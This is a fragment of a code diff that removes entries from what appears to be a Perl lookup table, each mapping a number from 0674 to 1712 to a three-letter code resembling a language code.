-      q(0674) => q(agw),
-      q(0675) => q(agx),
-      q(0676) => q(agy),
-      q(0677) => q(agz),
-      q(0678) => q(aha),
-      q(0679) => q(ahb),
-      q(0680) => q(ahg),
-      q(0681) => q(ahh),
-      q(0682) => q(ahi),
-      q(0683) => q(ahk),
-      q(0684) => q(ahl),
-      q(0685) => q(ahm),
-      q(0686) => q(ahn),
-      q(0687) => q(aho),
-      q(0688) => q(ahp),
-      q(0689) => q(ahr),
-      q(0690) => q(ahs),
-      q(0691) => q(aht),
-      q(0692) => q(aia),
-      q(0693) => q(aib),
-      q(0694) => q(aic),
-      q(0695) => q(aid),
-      q(0696) => q(aie),
-      q(0697) => q(aif),
-      q(0698) => q(aig),
-      q(0699) => q(aih),
-      q(0700) => q(aii),
-      q(0701) => q(aij),
-      q(0702) => q(aik),
-      q(0703) => q(ail),
-      q(0704) => q(aim),
-      q(0705) => q(aio),
-      q(0706) => q(aip),
-      q(0707) => q(aiq),
-      q(0708) => q(air),
-      q(0709) => q(ais),
-      q(0710) => q(ait),
-      q(0711) => q(aiw),
-      q(0712) => q(aix),
-      q(0713) => q(aiy),
-      q(0714) => q(aja),
-      q(0715) => q(ajg),
-      q(0716) => q(aji),
-      q(0717) => q(ajn),
-      q(0718) => q(ajp),
-      q(0719) => q(ajt),
-      q(0720) => q(aju),
-      q(0721) => q(ajw),
-      q(0722) => q(ajz),
-      q(0723) => q(akb),
-      q(0724) => q(akc),
-      q(0725) => q(akd),
-      q(0726) => q(ake),
-      q(0727) => q(akf),
-      q(0728) => q(akg),
-      q(0729) => q(akh),
-      q(0730) => q(aki),
-      q(0731) => q(akj),
-      q(0732) => q(akl),
-      q(0733) => q(akm),
-      q(0734) => q(ako),
-      q(0735) => q(akp),
-      q(0736) => q(akq),
-      q(0737) => q(akr),
-      q(0738) => q(aks),
-      q(0739) => q(akt),
-      q(0740) => q(aku),
-      q(0741) => q(akv),
-      q(0742) => q(akw),
-      q(0743) => q(akx),
-      q(0744) => q(aky),
-      q(0745) => q(akz),
-      q(0746) => q(ala),
-      q(0747) => q(alc),
-      q(0748) => q(ald),
-      q(0749) => q(alf),
-      q(0750) => q(alh),
-      q(0751) => q(ali),
-      q(0752) => q(alj),
-      q(0753) => q(alk),
-      q(0754) => q(all),
-      q(0755) => q(alm),
-      q(0756) => q(aln),
-      q(0757) => q(alo),
-      q(0758) => q(alp),
-      q(0759) => q(alq),
-      q(0760) => q(alr),
-      q(0761) => q(als),
-      q(0762) => q(alu),
-      q(0763) => q(alw),
-      q(0764) => q(alx),
-      q(0765) => q(aly),
-      q(0766) => q(alz),
-      q(0767) => q(ama),
-      q(0768) => q(amb),
-      q(0769) => q(amc),
-      q(0770) => q(ame),
-      q(0771) => q(amf),
-      q(0772) => q(amg),
-      q(0773) => q(ami),
-      q(0774) => q(amj),
-      q(0775) => q(amk),
-      q(0776) => q(aml),
-      q(0777) => q(amm),
-      q(0778) => q(amn),
-      q(0779) => q(amo),
-      q(0780) => q(amp),
-      q(0781) => q(amq),
-      q(0782) => q(amr),
-      q(0783) => q(ams),
-      q(0784) => q(amt),
-      q(0785) => q(amu),
-      q(0786) => q(amv),
-      q(0787) => q(amw),
-      q(0788) => q(amx),
-      q(0789) => q(amy),
-      q(0790) => q(amz),
-      q(0791) => q(ana),
-      q(0792) => q(anb),
-      q(0793) => q(anc),
-      q(0794) => q(and),
-      q(0795) => q(ane),
-      q(0796) => q(anf),
-      q(0797) => q(anh),
-      q(0798) => q(ani),
-      q(0799) => q(anj),
-      q(0800) => q(ank),
-      q(0801) => q(anl),
-      q(0802) => q(anm),
-      q(0803) => q(ann),
-      q(0804) => q(ano),
-      q(0805) => q(anq),
-      q(0806) => q(anr),
-      q(0807) => q(ans),
-      q(0808) => q(ant),
-      q(0809) => q(anu),
-      q(0810) => q(anv),
-      q(0811) => q(anw),
-      q(0812) => q(anx),
-      q(0813) => q(any),
-      q(0814) => q(anz),
-      q(0815) => q(aoa),
-      q(0816) => q(aob),
-      q(0817) => q(aoc),
-      q(0818) => q(aod),
-      q(0819) => q(aoe),
-      q(0820) => q(aof),
-      q(0821) => q(aog),
-      q(0822) => q(aoh),
-      q(0823) => q(aoi),
-      q(0824) => q(aoj),
-      q(0825) => q(aok),
-      q(0826) => q(aol),
-      q(0827) => q(aom),
-      q(0828) => q(aon),
-      q(0829) => q(aor),
-      q(0830) => q(aos),
-      q(0831) => q(aot),
-      q(0832) => q(aou),
-      q(0833) => q(aox),
-      q(0834) => q(aoz),
-      q(0835) => q(apb),
-      q(0836) => q(apc),
-      q(0837) => q(apd),
-      q(0838) => q(ape),
-      q(0839) => q(apf),
-      q(0840) => q(apg),
-      q(0841) => q(aph),
-      q(0842) => q(api),
-      q(0843) => q(apj),
-      q(0844) => q(apk),
-      q(0845) => q(apl),
-      q(0846) => q(apm),
-      q(0847) => q(apn),
-      q(0848) => q(apo),
-      q(0849) => q(app),
-      q(0850) => q(apq),
-      q(0851) => q(apr),
-      q(0852) => q(aps),
-      q(0853) => q(apt),
-      q(0854) => q(apu),
-      q(0855) => q(apv),
-      q(0856) => q(apw),
-      q(0857) => q(apx),
-      q(0858) => q(apy),
-      q(0859) => q(apz),
-      q(0860) => q(aqc),
-      q(0861) => q(aqd),
-      q(0862) => q(aqg),
-      q(0863) => q(aqm),
-      q(0864) => q(aqn),
-      q(0865) => q(aqp),
-      q(0866) => q(aqr),
-      q(0867) => q(aqt),
-      q(0868) => q(aqz),
-      q(0869) => q(arb),
-      q(0870) => q(ard),
-      q(0871) => q(are),
-      q(0872) => q(arh),
-      q(0873) => q(ari),
-      q(0874) => q(arj),
-      q(0875) => q(ark),
-      q(0876) => q(arl),
-      q(0877) => q(aro),
-      q(0878) => q(arq),
-      q(0879) => q(arr),
-      q(0880) => q(ars),
-      q(0881) => q(aru),
-      q(0882) => q(arv),
-      q(0883) => q(arx),
-      q(0884) => q(ary),
-      q(0885) => q(arz),
-      q(0886) => q(asa),
-      q(0887) => q(asb),
-      q(0888) => q(asc),
-      q(0889) => q(asd),
-      q(0890) => q(ase),
-      q(0891) => q(asf),
-      q(0892) => q(asg),
-      q(0893) => q(ash),
-      q(0894) => q(asi),
-      q(0895) => q(asj),
-      q(0896) => q(ask),
-      q(0897) => q(asl),
-      q(0898) => q(asn),
-      q(0899) => q(aso),
-      q(0900) => q(asp),
-      q(0901) => q(asq),
-      q(0902) => q(asr),
-      q(0903) => q(ass),
-      q(0904) => q(asu),
-      q(0905) => q(asv),
-      q(0906) => q(asw),
-      q(0907) => q(asx),
-      q(0908) => q(asy),
-      q(0909) => q(asz),
-      q(0910) => q(ata),
-      q(0911) => q(atb),
-      q(0912) => q(atc),
-      q(0913) => q(atd),
-      q(0914) => q(ate),
-      q(0915) => q(atg),
-      q(0916) => q(ati),
-      q(0917) => q(atj),
-      q(0918) => q(atk),
-      q(0919) => q(atl),
-      q(0920) => q(atm),
-      q(0921) => q(atn),
-      q(0922) => q(ato),
-      q(0923) => q(atp),
-      q(0924) => q(atq),
-      q(0925) => q(atr),
-      q(0926) => q(ats),
-      q(0927) => q(att),
-      q(0928) => q(atu),
-      q(0929) => q(atv),
-      q(0930) => q(atw),
-      q(0931) => q(atx),
-      q(0932) => q(aty),
-      q(0933) => q(atz),
-      q(0934) => q(aua),
-      q(0935) => q(aub),
-      q(0936) => q(auc),
-      q(0937) => q(aud),
-      q(0938) => q(aug),
-      q(0939) => q(auh),
-      q(0940) => q(aui),
-      q(0941) => q(auj),
-      q(0942) => q(auk),
-      q(0943) => q(aul),
-      q(0944) => q(aum),
-      q(0945) => q(aun),
-      q(0946) => q(auo),
-      q(0947) => q(aup),
-      q(0948) => q(auq),
-      q(0949) => q(aur),
-      q(0950) => q(aut),
-      q(0951) => q(auu),
-      q(0952) => q(auw),
-      q(0953) => q(aux),
-      q(0954) => q(auy),
-      q(0955) => q(auz),
-      q(0956) => q(avb),
-      q(0957) => q(avd),
-      q(0958) => q(avi),
-      q(0959) => q(avk),
-      q(0960) => q(avl),
-      q(0961) => q(avm),
-      q(0962) => q(avn),
-      q(0963) => q(avo),
-      q(0964) => q(avs),
-      q(0965) => q(avt),
-      q(0966) => q(avu),
-      q(0967) => q(avv),
-      q(0968) => q(awb),
-      q(0969) => q(awc),
-      q(0970) => q(awe),
-      q(0971) => q(awg),
-      q(0972) => q(awh),
-      q(0973) => q(awi),
-      q(0974) => q(awk),
-      q(0975) => q(awm),
-      q(0976) => q(awn),
-      q(0977) => q(awo),
-      q(0978) => q(awr),
-      q(0979) => q(aws),
-      q(0980) => q(awt),
-      q(0981) => q(awu),
-      q(0982) => q(awv),
-      q(0983) => q(aww),
-      q(0984) => q(awx),
-      q(0985) => q(awy),
-      q(0986) => q(axb),
-      q(0987) => q(axe),
-      q(0988) => q(axg),
-      q(0989) => q(axk),
-      q(0990) => q(axl),
-      q(0991) => q(axm),
-      q(0992) => q(axx),
-      q(0993) => q(aya),
-      q(0994) => q(ayb),
-      q(0995) => q(ayc),
-      q(0996) => q(ayd),
-      q(0997) => q(aye),
-      q(0998) => q(ayg),
-      q(0999) => q(ayh),
-      q(1000) => q(ayi),
-      q(1001) => q(ayk),
-      q(1002) => q(ayl),
-      q(1003) => q(ayn),
-      q(1004) => q(ayo),
-      q(1005) => q(ayp),
-      q(1006) => q(ayq),
-      q(1007) => q(ayr),
-      q(1008) => q(ays),
-      q(1009) => q(ayt),
-      q(1010) => q(ayu),
-      q(1011) => q(ayy),
-      q(1012) => q(ayz),
-      q(1013) => q(aza),
-      q(1014) => q(azb),
-      q(1015) => q(azd),
-      q(1016) => q(azg),
-      q(1017) => q(azj),
-      q(1018) => q(azm),
-      q(1019) => q(azn),
-      q(1020) => q(azo),
-      q(1021) => q(azt),
-      q(1022) => q(azz),
-      q(1023) => q(baa),
-      q(1024) => q(bab),
-      q(1025) => q(bac),
-      q(1026) => q(bae),
-      q(1027) => q(baf),
-      q(1028) => q(bag),
-      q(1029) => q(bah),
-      q(1030) => q(baj),
-      q(1031) => q(bao),
-      q(1032) => q(bap),
-      q(1033) => q(bar),
-      q(1034) => q(bau),
-      q(1035) => q(bav),
-      q(1036) => q(baw),
-      q(1037) => q(bax),
-      q(1038) => q(bay),
-      q(1039) => q(bba),
-      q(1040) => q(bbb),
-      q(1041) => q(bbc),
-      q(1042) => q(bbd),
-      q(1043) => q(bbe),
-      q(1044) => q(bbf),
-      q(1045) => q(bbg),
-      q(1046) => q(bbh),
-      q(1047) => q(bbi),
-      q(1048) => q(bbj),
-      q(1049) => q(bbk),
-      q(1050) => q(bbl),
-      q(1051) => q(bbm),
-      q(1052) => q(bbn),
-      q(1053) => q(bbo),
-      q(1054) => q(bbp),
-      q(1055) => q(bbq),
-      q(1056) => q(bbr),
-      q(1057) => q(bbs),
-      q(1058) => q(bbt),
-      q(1059) => q(bbu),
-      q(1060) => q(bbv),
-      q(1061) => q(bbw),
-      q(1062) => q(bbx),
-      q(1063) => q(bby),
-      q(1064) => q(bbz),
-      q(1065) => q(bca),
-      q(1066) => q(bcb),
-      q(1067) => q(bcc),
-      q(1068) => q(bcd),
-      q(1069) => q(bce),
-      q(1070) => q(bcf),
-      q(1071) => q(bcg),
-      q(1072) => q(bch),
-      q(1073) => q(bci),
-      q(1074) => q(bcj),
-      q(1075) => q(bck),
-      q(1076) => q(bcl),
-      q(1077) => q(bcm),
-      q(1078) => q(bcn),
-      q(1079) => q(bco),
-      q(1080) => q(bcp),
-      q(1081) => q(bcq),
-      q(1082) => q(bcr),
-      q(1083) => q(bcs),
-      q(1084) => q(bct),
-      q(1085) => q(bcu),
-      q(1086) => q(bcv),
-      q(1087) => q(bcw),
-      q(1088) => q(bcy),
-      q(1089) => q(bcz),
-      q(1090) => q(bda),
-      q(1091) => q(bdb),
-      q(1092) => q(bdc),
-      q(1093) => q(bdd),
-      q(1094) => q(bde),
-      q(1095) => q(bdf),
-      q(1096) => q(bdg),
-      q(1097) => q(bdh),
-      q(1098) => q(bdi),
-      q(1099) => q(bdj),
-      q(1100) => q(bdk),
-      q(1101) => q(bdl),
-      q(1102) => q(bdm),
-      q(1103) => q(bdn),
-      q(1104) => q(bdo),
-      q(1105) => q(bdp),
-      q(1106) => q(bdq),
-      q(1107) => q(bdr),
-      q(1108) => q(bds),
-      q(1109) => q(bdt),
-      q(1110) => q(bdu),
-      q(1111) => q(bdv),
-      q(1112) => q(bdw),
-      q(1113) => q(bdx),
-      q(1114) => q(bdy),
-      q(1115) => q(bdz),
-      q(1116) => q(bea),
-      q(1117) => q(beb),
-      q(1118) => q(bec),
-      q(1119) => q(bed),
-      q(1120) => q(bee),
-      q(1121) => q(bef),
-      q(1122) => q(beg),
-      q(1123) => q(beh),
-      q(1124) => q(bei),
-      q(1125) => q(bek),
-      q(1126) => q(beo),
-      q(1127) => q(bep),
-      q(1128) => q(beq),
-      q(1129) => q(bes),
-      q(1130) => q(bet),
-      q(1131) => q(beu),
-      q(1132) => q(bev),
-      q(1133) => q(bew),
-      q(1134) => q(bex),
-      q(1135) => q(bey),
-      q(1136) => q(bez),
-      q(1137) => q(mot),
-      q(1138) => q(bfb),
-      q(1139) => q(bfc),
-      q(1140) => q(bfd),
-      q(1141) => q(bfe),
-      q(1142) => q(bff),
-      q(1143) => q(bfg),
-      q(1144) => q(bfh),
-      q(1145) => q(bfi),
-      q(1146) => q(bfj),
-      q(1147) => q(bfk),
-      q(1148) => q(bfl),
-      q(1149) => q(bfm),
-      q(1150) => q(bfn),
-      q(1151) => q(bfo),
-      q(1152) => q(bfp),
-      q(1153) => q(bfq),
-      q(1154) => q(bfr),
-      q(1155) => q(bfs),
-      q(1156) => q(bft),
-      q(1157) => q(bfu),
-      q(1158) => q(bfw),
-      q(1159) => q(bfx),
-      q(1160) => q(bfy),
-      q(1161) => q(bfz),
-      q(1162) => q(bga),
-      q(1163) => q(bgb),
-      q(1164) => q(bgc),
-      q(1165) => q(bgd),
-      q(1166) => q(bge),
-      q(1167) => q(bgf),
-      q(1168) => q(bgg),
-      q(1169) => q(bgi),
-      q(1170) => q(bgj),
-      q(1171) => q(bgk),
-      q(1172) => q(bgl),
-      q(1173) => q(bgn),
-      q(1174) => q(bgo),
-      q(1175) => q(bgp),
-      q(1176) => q(bgq),
-      q(1177) => q(bgr),
-      q(1178) => q(bgs),
-      q(1179) => q(bgt),
-      q(1180) => q(bgu),
-      q(1181) => q(bgv),
-      q(1182) => q(bgw),
-      q(1183) => q(bgx),
-      q(1184) => q(bgy),
-      q(1185) => q(bgz),
-      q(1186) => q(bha),
-      q(1187) => q(bhb),
-      q(1188) => q(bhc),
-      q(1189) => q(bhd),
-      q(1190) => q(bhe),
-      q(1191) => q(bhf),
-      q(1192) => q(bhg),
-      q(1193) => q(bhh),
-      q(1194) => q(bhi),
-      q(1195) => q(bhj),
-      q(1196) => q(bhl),
-      q(1197) => q(bhm),
-      q(1198) => q(bhn),
-      q(1199) => q(bhp),
-      q(1200) => q(bhq),
-      q(1201) => q(bhr),
-      q(1202) => q(bhs),
-      q(1203) => q(bht),
-      q(1204) => q(bhu),
-      q(1205) => q(bhv),
-      q(1206) => q(bhw),
-      q(1207) => q(bhx),
-      q(1208) => q(bhy),
-      q(1209) => q(bhz),
-      q(1210) => q(bia),
-      q(1211) => q(bib),
-      q(1212) => q(bic),
-      q(1213) => q(bid),
-      q(1214) => q(bie),
-      q(1215) => q(bif),
-      q(1216) => q(big),
-      q(1217) => q(bij),
-      q(1218) => q(bil),
-      q(1219) => q(bim),
-      q(1220) => q(bio),
-      q(1221) => q(bip),
-      q(1222) => q(biq),
-      q(1223) => q(bir),
-      q(1224) => q(bit),
-      q(1225) => q(biu),
-      q(1226) => q(biv),
-      q(1227) => q(biw),
-      q(1228) => q(bix),
-      q(1229) => q(biy),
-      q(1230) => q(biz),
-      q(1231) => q(bja),
-      q(1232) => q(bjb),
-      q(1233) => q(bjc),
-      q(1234) => q(bje),
-      q(1235) => q(bjf),
-      q(1236) => q(bjg),
-      q(1237) => q(bjh),
-      q(1238) => q(bji),
-      q(1239) => q(bjj),
-      q(1240) => q(bjk),
-      q(1241) => q(bjl),
-      q(1242) => q(bjm),
-      q(1243) => q(bjn),
-      q(1244) => q(bjo),
-      q(1245) => q(bjp),
-      q(1246) => q(bjr),
-      q(1247) => q(bjs),
-      q(1248) => q(bjt),
-      q(1249) => q(bju),
-      q(1250) => q(bjv),
-      q(1251) => q(bjw),
-      q(1252) => q(bjx),
-      q(1253) => q(bjy),
-      q(1254) => q(bjz),
-      q(1255) => q(bka),
-      q(1256) => q(bkc),
-      q(1257) => q(bkd),
-      q(1258) => q(bkf),
-      q(1259) => q(bkg),
-      q(1260) => q(bkh),
-      q(1261) => q(bki),
-      q(1262) => q(bkj),
-      q(1263) => q(bkk),
-      q(1264) => q(bkl),
-      q(1265) => q(bkm),
-      q(1266) => q(bkn),
-      q(1267) => q(bko),
-      q(1268) => q(bkp),
-      q(1269) => q(bkq),
-      q(1270) => q(bkr),
-      q(1271) => q(bks),
-      q(1272) => q(bkt),
-      q(1273) => q(bku),
-      q(1274) => q(bkv),
-      q(1275) => q(bkw),
-      q(1276) => q(bkx),
-      q(1277) => q(bky),
-      q(1278) => q(bkz),
-      q(1279) => q(blb),
-      q(1280) => q(blc),
-      q(1281) => q(bld),
-      q(1282) => q(ble),
-      q(1283) => q(blf),
-      q(1284) => q(blg),
-      q(1285) => q(blh),
-      q(1286) => q(bli),
-      q(1287) => q(blj),
-      q(1288) => q(blk),
-      q(1289) => q(bll),
-      q(1290) => q(blm),
-      q(1291) => q(bln),
-      q(1292) => q(blo),
-      q(1293) => q(blp),
-      q(1294) => q(blq),
-      q(1295) => q(blr),
-      q(1296) => q(bls),
-      q(1297) => q(blt),
-      q(1298) => q(blv),
-      q(1299) => q(blw),
-      q(1300) => q(blx),
-      q(1301) => q(bly),
-      q(1302) => q(blz),
-      q(1303) => q(bma),
-      q(1304) => q(bmb),
-      q(1305) => q(bmc),
-      q(1306) => q(bmd),
-      q(1307) => q(bme),
-      q(1308) => q(bmf),
-      q(1309) => q(bmg),
-      q(1310) => q(bmh),
-      q(1311) => q(bmi),
-      q(1312) => q(bmj),
-      q(1313) => q(bmk),
-      q(1314) => q(bml),
-      q(1315) => q(bmm),
-      q(1316) => q(bmn),
-      q(1317) => q(bmo),
-      q(1318) => q(bmp),
-      q(1319) => q(bmq),
-      q(1320) => q(bmr),
-      q(1321) => q(bms),
-      q(1322) => q(bmt),
-      q(1323) => q(bmu),
-      q(1324) => q(bmv),
-      q(1325) => q(bmw),
-      q(1326) => q(bmx),
-      q(1327) => q(bmz),
-      q(1328) => q(bna),
-      q(1329) => q(bnb),
-      q(1330) => q(bnc),
-      q(1331) => q(bnd),
-      q(1332) => q(bne),
-      q(1333) => q(bnf),
-      q(1334) => q(bng),
-      q(1335) => q(bni),
-      q(1336) => q(bnj),
-      q(1337) => q(bnk),
-      q(1338) => q(bnl),
-      q(1339) => q(bnm),
-      q(1340) => q(bnn),
-      q(1341) => q(bno),
-      q(1342) => q(bnp),
-      q(1343) => q(bnq),
-      q(1344) => q(bnr),
-      q(1345) => q(bns),
-      q(1346) => q(bnu),
-      q(1347) => q(bnv),
-      q(1348) => q(bnw),
-      q(1349) => q(bnx),
-      q(1350) => q(bny),
-      q(1351) => q(bnz),
-      q(1352) => q(boa),
-      q(1353) => q(bob),
-      q(1354) => q(boe),
-      q(1355) => q(bof),
-      q(1356) => q(bog),
-      q(1357) => q(boh),
-      q(1358) => q(boi),
-      q(1359) => q(boj),
-      q(1360) => q(bok),
-      q(1361) => q(bol),
-      q(1362) => q(bom),
-      q(1363) => q(bon),
-      q(1364) => q(boo),
-      q(1365) => q(bop),
-      q(1366) => q(boq),
-      q(1367) => q(bor),
-      q(1368) => q(bot),
-      q(1369) => q(bou),
-      q(1370) => q(bov),
-      q(1371) => q(bow),
-      q(1372) => q(box),
-      q(1373) => q(boy),
-      q(1374) => q(boz),
-      q(1375) => q(bpa),
-      q(1376) => q(bpb),
-      q(1377) => q(bpd),
-      q(1378) => q(bpg),
-      q(1379) => q(bph),
-      q(1380) => q(bpi),
-      q(1381) => q(bpj),
-      q(1382) => q(bpk),
-      q(1383) => q(bpl),
-      q(1384) => q(bpm),
-      q(1385) => q(bpn),
-      q(1386) => q(bpo),
-      q(1387) => q(bpp),
-      q(1388) => q(bpq),
-      q(1389) => q(bpr),
-      q(1390) => q(bps),
-      q(1391) => q(bpt),
-      q(1392) => q(bpu),
-      q(1393) => q(bpv),
-      q(1394) => q(bpw),
-      q(1395) => q(bpx),
-      q(1396) => q(bpy),
-      q(1397) => q(bpz),
-      q(1398) => q(bqa),
-      q(1399) => q(bqb),
-      q(1400) => q(bqc),
-      q(1401) => q(bqd),
-      q(1402) => q(bqf),
-      q(1403) => q(bqg),
-      q(1404) => q(bqh),
-      q(1405) => q(bqi),
-      q(1406) => q(bqj),
-      q(1407) => q(bqk),
-      q(1408) => q(bql),
-      q(1409) => q(bqm),
-      q(1410) => q(bqn),
-      q(1411) => q(bqo),
-      q(1412) => q(bqp),
-      q(1413) => q(bqq),
-      q(1414) => q(bqr),
-      q(1415) => q(bqs),
-      q(1416) => q(bqt),
-      q(1417) => q(bqu),
-      q(1418) => q(bqv),
-      q(1419) => q(bqw),
-      q(1420) => q(bqx),
-      q(1421) => q(bqy),
-      q(1422) => q(bqz),
-      q(1423) => q(brb),
-      q(1424) => q(brc),
-      q(1425) => q(brd),
-      q(1426) => q(brf),
-      q(1427) => q(brg),
-      q(1428) => q(brh),
-      q(1429) => q(bri),
-      q(1430) => q(brj),
-      q(1431) => q(brk),
-      q(1432) => q(brl),
-      q(1433) => q(brm),
-      q(1434) => q(brn),
-      q(1435) => q(bro),
-      q(1436) => q(brp),
-      q(1437) => q(brq),
-      q(1438) => q(brr),
-      q(1439) => q(brs),
-      q(1440) => q(brt),
-      q(1441) => q(bru),
-      q(1442) => q(brv),
-      q(1443) => q(brw),
-      q(1444) => q(brx),
-      q(1445) => q(bry),
-      q(1446) => q(brz),
-      q(1447) => q(bsa),
-      q(1448) => q(bsb),
-      q(1449) => q(bsc),
-      q(1450) => q(bse),
-      q(1451) => q(bsf),
-      q(1452) => q(bsg),
-      q(1453) => q(bsh),
-      q(1454) => q(bsi),
-      q(1455) => q(bsj),
-      q(1456) => q(bsk),
-      q(1457) => q(bsl),
-      q(1458) => q(bsm),
-      q(1459) => q(bsn),
-      q(1460) => q(bso),
-      q(1461) => q(bsp),
-      q(1462) => q(bsq),
-      q(1463) => q(bsr),
-      q(1464) => q(bss),
-      q(1465) => q(bst),
-      q(1466) => q(bsu),
-      q(1467) => q(bsv),
-      q(1468) => q(bsw),
-      q(1469) => q(bsx),
-      q(1470) => q(bsy),
-      q(1471) => q(bta),
-      q(1472) => q(btc),
-      q(1473) => q(btd),
-      q(1474) => q(bte),
-      q(1475) => q(btf),
-      q(1476) => q(btg),
-      q(1477) => q(bth),
-      q(1478) => q(bti),
-      q(1479) => q(btj),
-      q(1480) => q(btm),
-      q(1481) => q(btn),
-      q(1482) => q(bto),
-      q(1483) => q(btp),
-      q(1484) => q(btq),
-      q(1485) => q(btr),
-      q(1486) => q(bts),
-      q(1487) => q(btt),
-      q(1488) => q(btu),
-      q(1489) => q(btv),
-      q(1490) => q(btw),
-      q(1491) => q(btx),
-      q(1492) => q(bty),
-      q(1493) => q(btz),
-      q(1494) => q(bub),
-      q(1495) => q(buc),
-      q(1496) => q(bud),
-      q(1497) => q(bue),
-      q(1498) => q(buf),
-      q(1499) => q(buh),
-      q(1500) => q(bui),
-      q(1501) => q(buj),
-      q(1502) => q(buk),
-      q(1503) => q(bum),
-      q(1504) => q(bun),
-      q(1505) => q(buo),
-      q(1506) => q(bup),
-      q(1507) => q(buq),
-      q(1508) => q(bus),
-      q(1509) => q(but),
-      q(1510) => q(buu),
-      q(1511) => q(buv),
-      q(1512) => q(buw),
-      q(1513) => q(bux),
-      q(1514) => q(buy),
-      q(1515) => q(buz),
-      q(1516) => q(bva),
-      q(1517) => q(bvb),
-      q(1518) => q(bvc),
-      q(1519) => q(bvd),
-      q(1520) => q(bve),
-      q(1521) => q(bvf),
-      q(1522) => q(bvg),
-      q(1523) => q(bvh),
-      q(1524) => q(bvi),
-      q(1525) => q(bvj),
-      q(1526) => q(bvk),
-      q(1527) => q(bvl),
-      q(1528) => q(bvm),
-      q(1529) => q(bvn),
-      q(1530) => q(bvo),
-      q(1531) => q(bvp),
-      q(1532) => q(bvq),
-      q(1533) => q(bvr),
-      q(1534) => q(bvt),
-      q(1535) => q(bvu),
-      q(1536) => q(bvv),
-      q(1537) => q(bvw),
-      q(1538) => q(bvx),
-      q(1539) => q(bvy),
-      q(1540) => q(bvz),
-      q(1541) => q(bwa),
-      q(1542) => q(bwb),
-      q(1543) => q(bwc),
-      q(1544) => q(bwd),
-      q(1545) => q(bwe),
-      q(1546) => q(bwf),
-      q(1547) => q(bwg),
-      q(1548) => q(bwh),
-      q(1549) => q(bwi),
-      q(1550) => q(bwj),
-      q(1551) => q(bwk),
-      q(1552) => q(bwl),
-      q(1553) => q(bwm),
-      q(1554) => q(bwn),
-      q(1555) => q(bwo),
-      q(1556) => q(bwp),
-      q(1557) => q(bwq),
-      q(1558) => q(bwr),
-      q(1559) => q(bws),
-      q(1560) => q(bwt),
-      q(1561) => q(bwu),
-      q(1562) => q(bww),
-      q(1563) => q(bwx),
-      q(1564) => q(bwy),
-      q(1565) => q(bwz),
-      q(1566) => q(bxa),
-      q(1567) => q(bxb),
-      q(1568) => q(bxc),
-      q(1569) => q(bxd),
-      q(1570) => q(bxe),
-      q(1571) => q(bxf),
-      q(1572) => q(bxg),
-      q(1573) => q(bxh),
-      q(1574) => q(bxi),
-      q(1575) => q(bxj),
-      q(1576) => q(bxk),
-      q(1577) => q(bxl),
-      q(1578) => q(bxm),
-      q(1579) => q(bxn),
-      q(1580) => q(bxo),
-      q(1581) => q(bxp),
-      q(1582) => q(bxq),
-      q(1583) => q(bxr),
-      q(1584) => q(bxs),
-      q(1585) => q(bxu),
-      q(1586) => q(bxv),
-      q(1587) => q(bxw),
-      q(1588) => q(bxz),
-      q(1589) => q(bya),
-      q(1590) => q(byb),
-      q(1591) => q(byc),
-      q(1592) => q(byd),
-      q(1593) => q(bye),
-      q(1594) => q(byf),
-      q(1595) => q(byg),
-      q(1596) => q(byh),
-      q(1597) => q(byi),
-      q(1598) => q(byj),
-      q(1599) => q(byk),
-      q(1600) => q(byl),
-      q(1601) => q(bym),
-      q(1602) => q(byo),
-      q(1603) => q(byp),
-      q(1604) => q(byq),
-      q(1605) => q(byr),
-      q(1606) => q(bys),
-      q(1607) => q(byt),
-      q(1608) => q(byv),
-      q(1609) => q(byw),
-      q(1610) => q(byx),
-      q(1611) => q(byz),
-      q(1612) => q(bza),
-      q(1613) => q(bzb),
-      q(1614) => q(bzc),
-      q(1615) => q(bzd),
-      q(1616) => q(bze),
-      q(1617) => q(bzf),
-      q(1618) => q(bzg),
-      q(1619) => q(bzh),
-      q(1620) => q(bzi),
-      q(1621) => q(bzj),
-      q(1622) => q(bzk),
-      q(1623) => q(bzl),
-      q(1624) => q(bzm),
-      q(1625) => q(bzn),
-      q(1626) => q(bzo),
-      q(1627) => q(bzp),
-      q(1628) => q(bzq),
-      q(1629) => q(bzr),
-      q(1630) => q(bzs),
-      q(1631) => q(bzt),
-      q(1632) => q(bzu),
-      q(1633) => q(bzv),
-      q(1634) => q(bzw),
-      q(1635) => q(bzx),
-      q(1636) => q(bzy),
-      q(1637) => q(bzz),
-      q(1638) => q(caa),
-      q(1639) => q(cab),
-      q(1640) => q(cac),
-      q(1641) => q(cae),
-      q(1642) => q(caf),
-      q(1643) => q(cag),
-      q(1644) => q(cah),
-      q(1645) => q(caj),
-      q(1646) => q(cak),
-      q(1647) => q(cal),
-      q(1648) => q(cam),
-      q(1649) => q(can),
-      q(1650) => q(cao),
-      q(1651) => q(cap),
-      q(1652) => q(caq),
-      q(1653) => q(cas),
-      q(1654) => q(cav),
-      q(1655) => q(caw),
-      q(1656) => q(cax),
-      q(1657) => q(cay),
-      q(1658) => q(caz),
-      q(1659) => q(cbb),
-      q(1660) => q(cbc),
-      q(1661) => q(cbd),
-      q(1662) => q(cbg),
-      q(1663) => q(cbi),
-      q(1664) => q(cbj),
-      q(1665) => q(cbk),
-      q(1666) => q(cbl),
-      q(1667) => q(cbn),
-      q(1668) => q(cbo),
-      q(1669) => q(cbq),
-      q(1670) => q(cbr),
-      q(1671) => q(cbs),
-      q(1672) => q(cbt),
-      q(1673) => q(cbu),
-      q(1674) => q(cbv),
-      q(1675) => q(cbw),
-      q(1676) => q(cby),
-      q(1677) => q(cca),
-      q(1678) => q(ccc),
-      q(1679) => q(ccd),
-      q(1680) => q(cce),
-      q(1681) => q(ccg),
-      q(1682) => q(cch),
-      q(1683) => q(ccj),
-      q(1684) => q(ccl),
-      q(1685) => q(ccm),
-      q(1686) => q(cco),
-      q(1687) => q(ccp),
-      q(1688) => q(ccr),
-      q(1689) => q(cda),
-      q(1690) => q(cde),
-      q(1691) => q(cdf),
-      q(1692) => q(cdg),
-      q(1693) => q(cdh),
-      q(1694) => q(cdi),
-      q(1695) => q(cdj),
-      q(1696) => q(cdm),
-      q(1697) => q(cdn),
-      q(1698) => q(cdo),
-      q(1699) => q(cdr),
-      q(1700) => q(cds),
-      q(1701) => q(cdy),
-      q(1702) => q(cdz),
-      q(1703) => q(cea),
-      q(1704) => q(ceg),
-      q(1705) => q(cek),
-      q(1706) => q(cen),
-      q(1707) => q(cet),
-      q(1708) => q(cfa),
-      q(1709) => q(cfd),
-      q(1710) => q(cfg),
-      q(1711) => q(cfm),
-      q(1712) => q(cga),
